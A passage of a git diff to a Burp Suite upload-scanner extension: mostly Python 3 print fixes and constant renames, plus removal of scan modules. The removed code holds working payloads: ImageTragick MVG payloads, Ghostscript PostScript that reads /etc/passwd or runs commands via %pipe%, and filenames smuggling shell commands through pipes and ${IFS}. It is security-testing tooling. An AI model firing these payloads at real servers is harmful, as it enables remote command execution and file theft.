- print "processHttpMessage called with BaseRequestResponse with no request. Ignoring."
+ print("processHttpMessage called with BaseRequestResponse with no request. Ignoring.")
return
iRequestInfo = self._helpers.analyzeRequest(base_request_response)
- #print type(iRequestInfo.getUrl().toString()), repr(iRequestInfo.getUrl().toString())
+ #print(type(iRequestInfo.getUrl().toString()), repr(iRequestInfo.getUrl().toString()))
url = iRequestInfo.getUrl()
if url:
url = FloydsHelpers.u2s(url.toString())
@@ -906,18 +492,18 @@ def processHttpMessage(self, _, messageIsRequest, base_request_response):
for matcher in list(matchers)[::-1]:
if matcher.matches(url, headers, body):
issue_copy = matcher.issue.create_copy()
- if BurpExtender.MARKER_URL_CONTENT in issue_copy.detail:
+ if Constants.MARKER_URL_CONTENT in issue_copy.detail:
if matcher.url_content:
- issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT,
+ issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT,
matcher.url_content)
elif matcher.filename_content_disposition:
- issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT,
+ issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT,
matcher.filename_content_disposition)
elif matcher.filecontent:
- issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT,
+ issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT,
matcher.filecontent)
else:
- issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT,
+ issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT,
"UNKNOWN")
if matcher.check_xss:
content_disposition = False
@@ -965,8 +551,8 @@ def _create_download_scan_issue(self, base_request_response, issue):
self._add_scan_issue(issue)
def _add_scan_issue(self, issue):
- print "Reporting", issue.name
- #print issue.toString()
+ print("Reporting", issue.name)
+ #print(issue.toString())
self._callbacks.addScanIssue(issue)
# implement IScannerCheck
@@ -988,15 +574,15 @@ def doActiveScan(self, base_request_response, insertionPoint, options=None):
if insertionPoint.getInsertionPointName() == "filename":
req = base_request_response.getRequest()
if not req:
- print "doActiveScan called with BaseRequestResponse with no request. Ignoring."
+ print("doActiveScan called with BaseRequestResponse with no request. Ignoring.")
return
- print "Multipart filename found!"
+ print("Multipart filename found!")
if not options:
- options = self._global_opts
- injector = MultipartInjector(base_request_response, options, insertionPoint, self._helpers, BurpExtender.NEWLINE)
+ options = self._globalOptionsPanel
+ injector = MultipartInjector(base_request_response, options, insertionPoint, self._helpers, Constants.NEWLINE)
self.do_checks(injector)
else:
- print "This is not a type file but something else in a multipart message:", insertionPoint.getInsertionPointName()
+ print("This is not a type file but something else in a multipart message:", insertionPoint.getInsertionPointName())
except:
self.show_error_popup(traceback.format_exc(), "doActiveScan", base_request_response)
if options and options.redl_enabled:
@@ -1013,36 +599,36 @@ def getInsertionPoints(self, base_request_response):
# this is an ugly hack...
req = base_request_response.getRequest()
if not req:
- # print "getInsertionPoints was called with a BaseRequestResponse where the Request was None/null..."
+ # print("getInsertionPoints was called with a BaseRequestResponse where the Request was None/null...")
return
if "content-type: multipart/form-data" in FloydsHelpers.jb2ps(req).lower():
- print "It seems to be a mutlipart/form-data we don't need to check with the FlexiInjector"
+ print("It seems to be a mutlipart/form-data we don't need to check with the FlexiInjector")
else:
self.run_flexiinjector(base_request_response)
# Now after the above hack, do what this function actually does, return insertion points
- if self._global_opts.modules['activescan'].isSelected():
- return InsertionPointProviderForActiveScan(self, self._global_opts, self._helpers).getInsertionPoints(base_request_response)
+ if self._globalOptionsPanel.modules['activescan'].isSelected():
+ return InsertionPointProviderForActiveScan(self, self._globalOptionsPanel, self._helpers).getInsertionPoints(base_request_response)
else:
return []
except:
- self.show_error_popup(traceback.format_exc(), "BurpExtender.getInsertionPoints", base_request_response)
+ self.show_error_popup(traceback.format_exc(), "Constants.getInsertionPoints", base_request_response)
raise sys.exc_info()[1], None, sys.exc_info()[2]
def run_flexiinjector(self, base_request_response, options=None):
fi = None
if not options:
- options = self._global_opts
+ options = self._globalOptionsPanel
try:
if options.fi_ofilename:
- fi = FlexiInjector(base_request_response, options, self._helpers, BurpExtender.NEWLINE)
+ fi = FlexiInjector(base_request_response, options, self._helpers, Constants.NEWLINE)
# We test only those requests where we find at least the content in the request as some implementations
# might not send the filename to the server
if fi.get_uploaded_content():
- print "FlexiInjector insertion point found!"
+ print("FlexiInjector insertion point found!")
self.do_checks(fi)
return True
elif not self._warned_flexiinjector:
- print "You did not specify the file you are going to upload, no FlexiInjector checks will be done"
+ print("You did not specify the file you are going to upload, no FlexiInjector checks will be done")
self._warned_flexiinjector = True
except:
self.show_error_popup(traceback.format_exc(), "run_flexiinjector", base_request_response)
@@ -1053,8615 +639,4 @@ def run_flexiinjector(self, base_request_response, options=None):
# The actual implementation of the scan logic from here
def do_checks(self, injector):
- burp_colab = BurpCollaborator(self._callbacks)
- if not burp_colab.is_available:
- burp_colab = None
- print "Warning: No Burp Collaborator will be used"
- colab_tests = []
-
- # We need to make sure that the global download matchers are from now on active for the URL we scan
- url = FloydsHelpers.u2s(self._helpers.analyzeRequest(injector.get_brr()).getUrl().toString())
- self.dl_matchers.add_collection(url)
-
- scan_was_stopped = False
-
- try:
- # Sanity/debug check. Simply uploads a white picture called screenshot_white.png
- print "Doing sanity check and uploading a white png file called screenshot_white.png"
- self._sanity_check(injector)
- # Make sure we don't active scan again a request we are active scanning right now
- # Do this by checking for redl_enabled
- if injector.opts.modules['activescan'].isSelected() and injector.opts.redl_enabled:
- brr = injector.get_brr()
- service = brr.getHttpService()
- self._callbacks.doActiveScan(service.getHost(), service.getPort(), 'https' in service.getProtocol(), brr.getRequest())
- # Imagetragick - CVE based and fixed, will deprecate at one point
- if injector.opts.modules['imagetragick'].isSelected():
- print "\nDoing ImageTragick checks"
- colab_tests.extend(self._imagetragick_cve_2016_3718(injector, burp_colab))
- colab_tests.extend(self._imagetragick_cve_2016_3714_rce(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- self._imagetragick_cve_2016_3714_sleep(injector)
- self._bad_manners_cve_2018_16323(injector)
- # Magick (ImageMagick and GraphicsMagick) - generic, as these are exploiting features
- if injector.opts.modules['magick'].isSelected():
- print "\nDoing Image-/GraphicsMagick checks"
- colab_tests.extend(self._magick(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # Ghostscript - CVE based and fixed, will deprecate at one point
- if injector.opts.modules['gs'].isSelected():
- print "\nDoing Ghostscript checks"
- colab_tests.extend(self._ghostscript(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # LibAVFormat - generic, as the file format will always support external URLs
- if injector.opts.modules['libavformat'].isSelected():
- print "\nDoing LibAVFormat checks"
- colab_tests.extend(self._libavformat(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # PHP RCEs - generic, as there will always be someone who screws up PHP:
- if injector.opts.modules['php'].isSelected():
- print "\nDoing PHP code checks"
- self._php_rce(injector)
- # JSP RCEs - generic, as there will always be someone who screws up JSP:
- if injector.opts.modules['jsp'].isSelected():
- print "\nDoing JSP code checks"
- self._jsp_rce(injector)
- # ASP RCEs - generic, as there will always be someone who screws up ASP:
- if injector.opts.modules['asp'].isSelected():
- print "\nDoing ASP code checks"
- self._asp_rce(injector)
- # htaccess - generic
- # we do the htaccess upload early, because if it enables "Options +Includes ..." by uploading a .htaccess
- # then we can successfully do Server Side Includes, CGI execution, etc. in a later module...
- if injector.opts.modules['htaccess'].isSelected():
- print "\nDoing htaccess/web.config checks"
- colab_tests.extend(self._htaccess(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # CGIs - generic
- if injector.opts.modules['cgi'].isSelected():
- print "\nDoing CGIs checks"
- colab_tests.extend(self._cgi(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # SSI - generic
- if injector.opts.modules['ssi'].isSelected():
- print "\nDoing SSI/ESI checks"
- colab_tests.extend(self._ssi(injector, burp_colab))
- colab_tests.extend(self._esi(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # XXE - generic
- if injector.opts.modules['xxe'].isSelected():
- print "\nDoing XXE checks"
- colab_tests.extend(self._xxe_svg_external_image(injector, burp_colab))
- colab_tests.extend(self._xxe_svg_external_java_archive(injector, burp_colab))
- colab_tests.extend(self._xxe_xml(injector, burp_colab))
- colab_tests.extend(self._xxe_office(injector, burp_colab))
- colab_tests.extend(self._xxe_xmp(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # XSS - generic
- if injector.opts.modules['xss'].isSelected():
- print "\nDoing XSS checks"
- self._xss_html(injector)
- self._xss_svg(injector)
- self._xss_swf(injector)
- self._xss_backdoored_file(injector)
- # eicar - generic
- if injector.opts.modules['eicar'].isSelected():
- print "\nDoing eicar checks"
- self._eicar(injector)
- # pdf - generic
- if injector.opts.modules['pdf'].isSelected():
- print "\nDoing pdf checks"
- colab_tests.extend(self._pdf(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # other ssrf - generic
- if injector.opts.modules['ssrf'].isSelected():
- print "\nDoing other SSRF checks"
- colab_tests.extend(self._ssrf(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # CSV/spreadsheet - generic
- if injector.opts.modules['csv_spreadsheet'].isSelected():
- print "\nDoing CSV/spreadsheet checks"
- colab_tests.extend(self._csv_spreadsheet(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # path traversal - generic
- if injector.opts.modules['path_traversal'].isSelected():
- print "\nDoing path traversal checks"
- self._path_traversal_archives(injector)
- # Polyglot - generic
- if injector.opts.modules['polyglot'].isSelected():
- print "\nDoing polyglot checks"
- colab_tests.extend(self._polyglot(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # Fingerping - generic
- if injector.opts.modules['fingerping'].isSelected():
- print "\nDoing fingerping checks"
- self._fingerping(injector)
-
- # TODO feature: "Analyzer module"
- # new module that uploads a png, a jpeg, a gif, etc. and checks in the downloaded
- # content which byte sequences of a certain length (eg. 6) survived transformation on the server
- # basically we could use something like python's SequenceMatcher to check where the files match...
- # Additionally, make the module analyze certain things such as "if we upload a PNG, is the
- # returned content-type in the redownloader a PNG?" with other types as well
- # What would also be a nice feature is to upload a PNG and download it again. Then use that PNG
- # as a starting point for attacks as we can be sure that is a valid one.
-
- # Upload quirks - generic
- if injector.opts.modules['quirks'].isSelected():
- print "\nDoing quirk checks"
- self._quirks_with_passive(injector)
- self._quirks_without_passive(injector)
- # Generic URL replacer module - obviously generic
- if injector.opts.modules['url_replacer'].isSelected():
- print "\nDoing generic URL replacement checks"
- colab_tests.extend(self._generic_url_replacer(injector, burp_colab))
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
- # Recursive uploader - generic
- if injector.opts.modules['recursive_uploader'].isSelected():
- print "\nDoing recursive upload checks"
- self._recursive_upload_files(injector, burp_colab)
- # Fuzz - generic
- if injector.opts.modules['fuzzer'].isSelected():
- print "\nDoing fuzzer checks"
- self._fuzz(injector)
- except StopScanException:
- scan_was_stopped = True
-
- # Just to make sure (maybe we write a new module above and forget this call):
- self.collab_monitor_thread.add_or_update(burp_colab, colab_tests)
-
- # DoSing the server is best done at the end when we already know about everything else...
- # Timeout and DoS - generic
- if not scan_was_stopped:
- try:
- if injector.opts.modules['dos'].isSelected():
- print "\nDoing timeout and DoS checks"
- self._timeout_and_dos(injector)
- except StopScanException:
- pass
- if injector.opts.redl_enabled:
- injector.opts.scan_was_stopped()
- print "\nFinished"
-
- # Module functions
- def _sanity_check(self, injector):
- content = "eJzrDPBz5+WS4mJgYOD19HAJAtIrgXgmBxuQDFkv1cTAwFiT6ewc4OnsrBBQlJ+WmZPKwKAxMTkhQctTR+NEYmJCwomz2ppcRe" \
- "VBHR09QQn7Dx84e+CwwpGEowrzZsTEPJAQeHC4Qbhm97EDHIv0Xzed8fr8p/Lysq01/8TM1s8sClO12vG1kbHcK6vQiJlZmX3C" \
- "3DlBc+ZwpzxnuGl1ktVV1eEbj0L09j1LGI7YMaZ0izDKcqTcZ9x4WfENv0KZ0IyzR5jChIWe8KR4M9xk8hTYxtYxly8xuuHGSc" \
- "lOTYdt7Cf0OqQPNFw+7HrwzoGg6xMbdnuy7bRcamDtsPDo5FniUjxF7AKnDSoMdhhoGMwwljCIMHphZDFtSdiUBhGr5+IhYqnL" \
- "0qdoWDA5m4UetLTfvmCLylYP94PG+pH+7gdPHLjAsIRPJF1gsT17o2+6iHW/wOn4EwcSVp45cOBOs4D3rGMHNtTyMzcf0WyZcc" \
- "qGja0um60t9zmXULfQQ770P8ecOuLnpOWwJH62MDTYcO/3//+bpZiZf6uwte0X/v///94X///v7278xvz4jQMfg0p55oOebCF+" \
- "YDzMzQyJKInw9bFKzs/VS0zJT0rVq8gtYAABmworIDM3tSRRoSI3J6/YqsJWCazCCsgGCesrKYCVlGTbKkX4Big45xelKpjqme" \
- "gZKNlxKSgo2BSlpFkFubhBtQN5tkoZJSUFVvr65eXleuXGevlF6fqGlpaW+gZG+kZGukAVusWVeSWJFbp5xcoQQ2DmuKQWJxdl" \
- "FpRk5ucpgPiJSfmlJbZKSlA1EACxKLUiE2FTXjHUW0AP6oNk9A31DPThZoOMB4laBWRWpOZEuGTmpuYVA+2wMzSztNHHKoNVZy" \
- "SSTlNjZJ2RGDpt9NE8BAktfWhw2XHZ6MOD3o7rEqOIDwMD02NPF8eQCsa3lw7yMijwHDFI+D+XO6nL5g6n38rve6L9Ggsahe+l" \
- "zWLaz7BE4Qm3w6z6iY0TjCboM2T+c2VzOuWwj2HJT3FJDk3mn0wTnsWnKCzhGVU0qmiQKRJ/tZNVr/U4hzKo9PF09XNZ55TQBA" \
- "B94FvQ".decode("base64").decode("zlib")
- types = [('', '.png', 'image/png')]
- self._send_simple(injector, types, "SanityCheck", content, redownload=False, randomize=False)
-
- def _imagetragick_cve_2016_3718(self, injector, burp_colab):
- colab_tests = []
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return colab_tests
- if injector.opts.file_formats['mvg'].isSelected():
- # burp collaborator based CVE-2016-3718
- basename = self.FILE_START + "Im18Colab"
- # tested to work on vulnerable ImageMagick:
- content_mvg = "push graphic-context\n" \
- "viewbox 0 0 {} {}\n" \
- "fill 'url({})'\n" \
- "pop graphic-context".format(injector.opts.image_width, injector.opts.image_height, BurpExtender.MARKER_COLLAB_URL)
-
- name = "Imagetragick CVE-2016-3718"
- severity = "Medium"
- confidence = "Certain"
- detail = "A Burp Colaborator interaction was detected when uploading an MVG imagetragick CVE-2016-3718 payload " \
- "which contains a burp colaborator URL. This means that Server Side Request Forgery is possible. " \
- "Check https://imagetragick.com/ for more details about CVE-2016-3718. Interactions for CVE-2016-3718:
"
- issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.IM_MVG_TYPES, basename, content_mvg, issue))
- return colab_tests
-
- def _imagetragick_cve_2016_3714_sleep(self, injector):
- # time based (sleep) CVE-2016-3714
- name = "Imagetragick CVE-2016-3714 (sleep based)"
- severity = "High"
- confidence = "Certain"
- detail = "A timeout was reliably detected twice when uploading an {} image with an imagetragick payload that " \
- "executes the {} command to delay the response delivery. Therefore arbitrary command execution seems possible. " \
- "Check https://imagetragick.com/ for more details, also check for CVE-2016-3717 manually."
- svg = ' '
- mvg = "push graphic-context\n" \
- "viewbox 0 0 {} {}\n" \
- "fill 'url(" + BurpExtender.MARKER_CACHE_DEFEAT_URL + "\";{} {}\"{})'\n" \
- "pop graphic-context"
- filename = self.FILE_START + "ImDelay"
-
- for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
- if injector.opts.file_formats['mvg'].isSelected():
- issue = self._create_issue_template(injector.get_brr(), name, detail.format("MVG", cmd), confidence, severity)
- content_mvg = mvg.format(injector.opts.image_width, injector.opts.image_height, cmd, injector.opts.sleep_time * factor, args)
- self._send_sleep_based(injector, filename + "Mvg" + cmd_name, content_mvg, self.IM_MVG_TYPES, injector.opts.sleep_time, issue)
- if injector.opts.file_formats['svg'].isSelected():
- issue = self._create_issue_template(injector.get_brr(), name, detail.format("SVG", cmd), confidence, severity)
- content_svg = svg.format(injector.opts.image_width, injector.opts.image_height, cmd, injector.opts.sleep_time * factor, args, injector.opts.image_height, injector.opts.image_width)
- self._send_sleep_based(injector, filename + "Svg" + cmd_name, content_svg, self.IM_SVG_TYPES, injector.opts.sleep_time, issue)
-
- return []
-
- def _bad_manners_cve_2018_16323(self, injector):
- if not injector.opts.redl_enabled or not injector.opts.redl_configured:
- # this module can only find leaks in images when the files are downloaded again
- return
- # CVE-2018-16323, see https://github.com/ttffdd/XBadManners
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "BadManners"
- content = Xbm("".join(random.sample(string.ascii_letters, 5))).create_xbm(injector.opts.image_width,
- injector.opts.image_height)
- urrs = self._send_simple(injector, self.XBM_TYPES, basename, content, redownload=True)
- for urr in urrs:
- if urr and urr.download_rr:
- resp = urr.download_rr.getResponse()
- if resp:
- resp = FloydsHelpers.jb2ps(resp)
- i_response_info = self._helpers.analyzeResponse(urr.download_rr.getResponse())
- body_offset = i_response_info.getBodyOffset()
- body = resp[body_offset:]
- picture_width, picture_height, fileformat = ImageHelpers.image_width_height(body)
- if picture_width and picture_height and fileformat:
- has_been_resized = False
- if picture_width >= 200 or picture_height >= 200:
- # We first resize the picture to a small one so we don't have to check
- # too many pixels (performance)...
- thumbnail = ImageHelpers.rescale_image(200, 200, body)
- if thumbnail: # only if body was an image that ImageIO can parse
- # Now get the pixels of the picture
- body = thumbnail
- has_been_resized = True
- picture_width = 200
- picture_height = 200
- rgbs = ImageHelpers.get_image_rgb_list(body)
- # As we send a first byte that is not white,
- # let's ignore the first few pixels... (that's what a non-vulnerable imagemagick turns black)
- for i in range(0, picture_width/4):
- rgbs[i] = -1
- body = ImageHelpers.get_image_from_rgb_list(picture_width, picture_height, fileformat, rgbs)
- white = rgbs.count(-1)
- # When doing "convert in.xbm out.png", the resulting PNG has only -16777216 as black...
- black = 0
- black_rgb_values = [-16777216]
- # But with "convert in.xbm -size widthxheight out.jpeg", the resulting JPEG has as well others
- # which are black pixels turned into gray values
- # so this is not super accurate, but it doesn't matter too much, because the real false positive
- # will be decided with is_grayscale
- black_rgb_values.extend([-263173, -197380, -131587, -65794, -131587, -12434878, -657931,
- -855310, -394759, -592138, -526345, -328966, -986896, -460552])
- for value in black_rgb_values:
- black += rgbs.count(value)
- other = len(rgbs) - white - black
- examples = [x for x in rgbs if x != -1 and x not in black_rgb_values]
- other_examples = set(examples[:50])
- if white < picture_width * picture_height:
- # We uploaded a white picture, but we got something with not only white pixels
- if ImageHelpers.is_grayscale(body):
- # When it was resized, and it is only grayscale, then this could really be a true positive
- # Black pixels often go gray when an image is resized (on the server side or here what we
- # just did for performance reason) to a smaller size
- name = "Bad Manners (CVE-2018-16323)"
- severity = "High"
- if other > 0:
- confidence = "Tentative"
- else:
- confidence = "Firm"
- detail = "The server might use a vulnerable version of Imagemagick. It is vulnerable to " \
- "CVE-2018-16323, see https://github.com/ttffdd/XBadManners. We uploaded a " \
- "fully white XBM file format picture (black and white format) with a known memory " \
- "disclosure payload and the server sent back an image that has not only white pixels. " \
- "This could also just mean that the server adds other colors to our picture, which is " \
- "countered by checking that the image is only grayscale. The image returned was only " \
- "grayscale. However, if the server modifies white picture to include gray or black " \
- "pixels this could still be a false positive. Please verify manually. " \
- "Number of white pixels: {} " \
- "Number of black/gray pixels (estimation): {} " \
- "Number of other pixels (estimation): {} " \
- "First 50 other pixel RGB integer values: " \
- "{}".format(white, black, other, other_examples)
- issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity)
- issue.httpMessagesPy = [urr.upload_rr, urr.download_rr]
- self._add_scan_issue(issue)
- #else:
- #print "Although we uploaded a white XBM picture, the server returned a non-grayscale picture..."
-
- def _imagetragick_cve_2016_3714_rce(self, injector, burp_colab):
- colab_tests = []
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return colab_tests
-
- # burp collaborator based CVE-2016-3714
- name = "Imagetragick CVE-2016-3714 (collaborator based)"
- severity = "High"
- confidence = "Certain"
- detail = "A Burp Colaborator interaction was detected when uploading a {} imagetragick CVE-2016-3714 payload " \
- "which contains a burp colaborator payload as a {} command. Therefore arbitrary command execution seems possible. " \
- "Check https://imagetragick.com/ for more details about CVE-2016-3714. Interactions for CVE-2016-3718:
"
-
- svg = ' '
- mvg = "push graphic-context\n" \
- "viewbox 0 0 {} {}\n" \
- "fill 'url(" + BurpExtender.MARKER_CACHE_DEFEAT_URL + "\";{} \"{})'\n" \
- "pop graphic-context"
-
- basename = self.FILE_START + "Im3714"
-
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
- if injector.opts.file_formats['mvg'].isSelected():
- issue = self._create_issue_template(injector.get_brr(), name, detail.format("MVG", cmd), confidence, severity)
- content_mvg = mvg.format(injector.opts.image_width, injector.opts.image_height, cmd, server)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.IM_MVG_TYPES, basename + "Mvg" + cmd_name,
- content_mvg, issue, replace=replace))
-
- if injector.opts.file_formats['svg'].isSelected():
- issue = self._create_issue_template(injector.get_brr(), name, detail.format("SVG", cmd), confidence, severity)
- content_svg = svg.format(injector.opts.image_width, injector.opts.image_height, cmd, server,
- injector.opts.image_height, injector.opts.image_width)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.IM_SVG_TYPES, basename + "Svg" + cmd_name,
- content_svg, issue, replace=replace))
-
- return colab_tests
-
- def _magick(self, injector, burp_colab):
- colabs = []
- # burp collaborator based passing a filename starting with
- # pipe | makes Image-/GraphicsMagick execute to the -write command
- # As described on https://hackerone.com/reports/212696
- types = [('', BurpExtender.MARKER_ORIG_EXT, '')]
- content = injector.get_uploaded_content()
- name = "Image-/GraphicsMagick filename RCE"
- severity = "High"
- confidence = "Certain"
- base_details = "The manual for GrapicksMagick on http://www.graphicsmagick.org/GraphicsMagick.html specifies: " \
- "-write <filename> " \
- "[...] " \
- "Precede the image file name with | to pipe to a system command.
" \
- "Check https://hackerone.com/reports/212696 for more details. "
- detail_colab = "A Burp Colaborator interaction was detected when uploading a filename using a pipe character or similar " \
- "which included a {} payload with a burp colaborator URL. This means that Remote Command Execution should be possible. " \
- "The payload template was {} . Interactions:
"
- detail_sleep = "A delay in the response time was detected twice when uploading a filename using a pipe character or similar " \
- "which included a {} payload. This means that Remote Command Execution should be possible. " \
- "The payload template was {} . "
-
- # Sleep based
- for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
- basenames = [ "|{} {}{}|a".format(cmd, injector.opts.sleep_time * factor, args),
- #"|{}%20{}{}|a".format(cmd.replace(" ", "%20"), injector.opts.sleep_time * factor, args.replace(" ", "%20")),
- "|" + cmd.replace(" ", "${IFS}") + "${IFS}" + str(injector.opts.sleep_time * factor) + args.replace(" ", "%20") + "|a",
- "1%20-write%20|{}%20{}{}|a".format(cmd.replace(" ", "%20"), injector.opts.sleep_time * factor, args.replace(" ", "%20")),
- "1${IFS}-write${IFS}|" + cmd.replace(" ", "${IFS}") + "${IFS}" + str(injector.opts.sleep_time * factor) + args.replace(" ", "${IFS}") + "|a",
- ]
- for basename in basenames:
- details = base_details + detail_sleep.format(cmd_name, basename)
- issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
- self._send_sleep_based(injector, basename, content, types, injector.opts.sleep_time, issue)
-
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return colabs
-
- # Colab based
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
- basenames = [ "|{} {}|a".format(cmd, server),
- #"|{}%20{}|a".format(cmd.replace(" ", "%20"), server),
- "|" + cmd.replace(" ", "${IFS}") + "${IFS}" + server + "|a",
- "1%20-write%20|{}%20{}|a".format(cmd.replace(" ", "%20"), server),
- "1${IFS}-write${IFS}|" + cmd + "${IFS}" + server + "|a",
- ]
- for basename in basenames:
- details = base_details + detail_colab.format(cmd_name, basename)
- issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
- # print "Sending basename, replace", repr(basename), repr(replace)
- colabs.extend(self._send_collaborator(injector, burp_colab, types, basename, content, issue, replace=replace))
-
- return colabs
-
- def _ghostscript(self, injector, burp_colab):
-
- # CVE-2016-7977
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "GsLibPasswd"
- content = """%!PS
-/Size 20 def % font/line size
-/Line 0 def % current line
-/Buf 1024 string def % line buffer
-/Path 0 newpath def
->
-/Courier-Bold findfont Size scalefont setfont
-1 1 1 setrgbcolor clippath fill % draw white background
-0 0 0 setrgbcolor % set black foreground
->
-(/etc/passwd) .libfile {
- {
- dup Buf readline
- {
- Path Line moveto show
- }{
- showpage
- quit
- } ifelse
- % next line
- /Line Line Size add def
- } loop
-} if"""
- # As we do not want to regex search with a DownloadMatcher (too error prone), we only check if a ReDownloader
- # was configured and we know the response
- urrs = self._send_simple(injector, self.GS_TYPES, basename, content, redownload=True)
- for urr in urrs:
- if urr and urr.download_rr:
- resp = urr.download_rr.getResponse()
- if resp:
- resp = FloydsHelpers.jb2ps(resp)
- if BurpExtender.REGEX_PASSWD.match(resp):
- name = "Ghostscript Local File Include"
- severity = "High"
- confidence = "Firm"
-
- detail = "A passwd-like response was downloaded when uploading a ghostscript file with a payload that " \
- "tries to include /etc/passwd. Therefore arbitrary file read seems possible. " \
- "See http://www.openwall.com/lists/oss-security/2016/09/30/8 for details. " \
- "Interactions:
"
- issue = self._create_issue_template(injector.get_brr(), name + " CVE-2016-7977", detail, confidence, severity)
- issue.httpMessagesPy = [urr.upload_rr, urr.download_rr]
- self._add_scan_issue(issue)
-
- # CVE-2016-7976 with OutputICCProfile pipe technique
- # CVE-2017-8291 with OutputFile pipe technique
- # TODO feature: look at ghostbutt.com and metasploit implementation and see how they are doing it
- name = "Ghostscript RCE"
- severity = "High"
- confidence = "Certain"
- base_detail = "A ghostscript file with RCE payload was uploaded. See " \
- "http://www.openwall.com/lists/oss-security/2016/09/30/8 and http://cve.circl.lu/cve/CVE-2017-8291 " \
- "and http://openwall.com/lists/oss-security/2018/08/21/2 for details. "
- detail_sleep = "A delay was dectected twice when uploading a ghostscript file with a payload that " \
- "executes a sleep like command. Therefore arbitrary command execution seems possible. " \
- "The payload used the {} argument ({}) and the payload {}."
- detail_colab = "A burp collaborator interaction was dectected when uploading a ghostscript file with a payload that " \
- "executes commands with a burp collaborator URL. Therefore arbitrary command execution seems possible. " \
- "The payload used the {} argument ({}) and the payload {}. Interactions:
"
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Gs"
-
- content_original_cve = "%!PS\n" \
- "currentdevice null true mark /{} (%pipe%{} {} )\n" \
- ".putdeviceparams\n" \
- "quit"
-
- content_2 = "%!PS\n" \
- "*legal*\n" \
- "*{{ null restore }} stopped {{ pop }} if*\n" \
- "*legal*\n" \
- "*mark /{} (%pipe%{} {}) currentdevice putdeviceprops*\n" \
- "*showpage*"
-
- content_ubuntu = "%!PS\n" \
- "userdict /setpagedevice undef\n" \
- "save\n" \
- "legal\n" \
- "{{ null restore }} stopped {{ pop }} if\n" \
- "{{ legal }} stopped {{ pop }} if\n" \
- "restore\n" \
- "mark /{} (%pipe%{} {}) currentdevice putdeviceprops"
-
- content_centos = "%!PS\n" \
- "userdict /setpagedevice undef\n" \
- "legal\n" \
- "{{ null restore }} stopped {{ pop }} if\n" \
- "legal\n" \
- "mark /{} (%pipe%{} {}) currentdevice putdeviceprops"
-
- techniques = (
- ("OutputFile", "CVE-2017-8291", content_original_cve),
- ("OutputICCProfile", "CVE-2016-7976", content_original_cve),
-
- ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2),
- #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2),
-
- # OutputFile worked on a Linux minti 4.8.0-53-generic #56~16.04.1-Ubuntu SMP Tue May 16 01:18:56 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
- # With "identify" and "convert" from ImageMagick 6.8.9-9 Q16 x86_64 2017-03-14
- # But OutputICCProfile didn't:
- # ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0
- # | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile
- # ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0
- # | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile
- ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu),
- #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu),
-
- ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos),
- #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos),
- )
-
- # Sleep based
- for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
- for param, reference, content in techniques:
- details = base_detail + detail_sleep.format(param, reference, cmd)
- issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
- sleep_content = content.format(
- #injector.opts.image_width,
- #injector.opts.image_height,
- param,
- cmd,
- str(injector.opts.sleep_time * factor) + args
- )
- self._send_sleep_based(injector, basename + cmd_name, sleep_content, self.GS_TYPES, injector.opts.sleep_time, issue)
-
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return []
- colab_tests = []
-
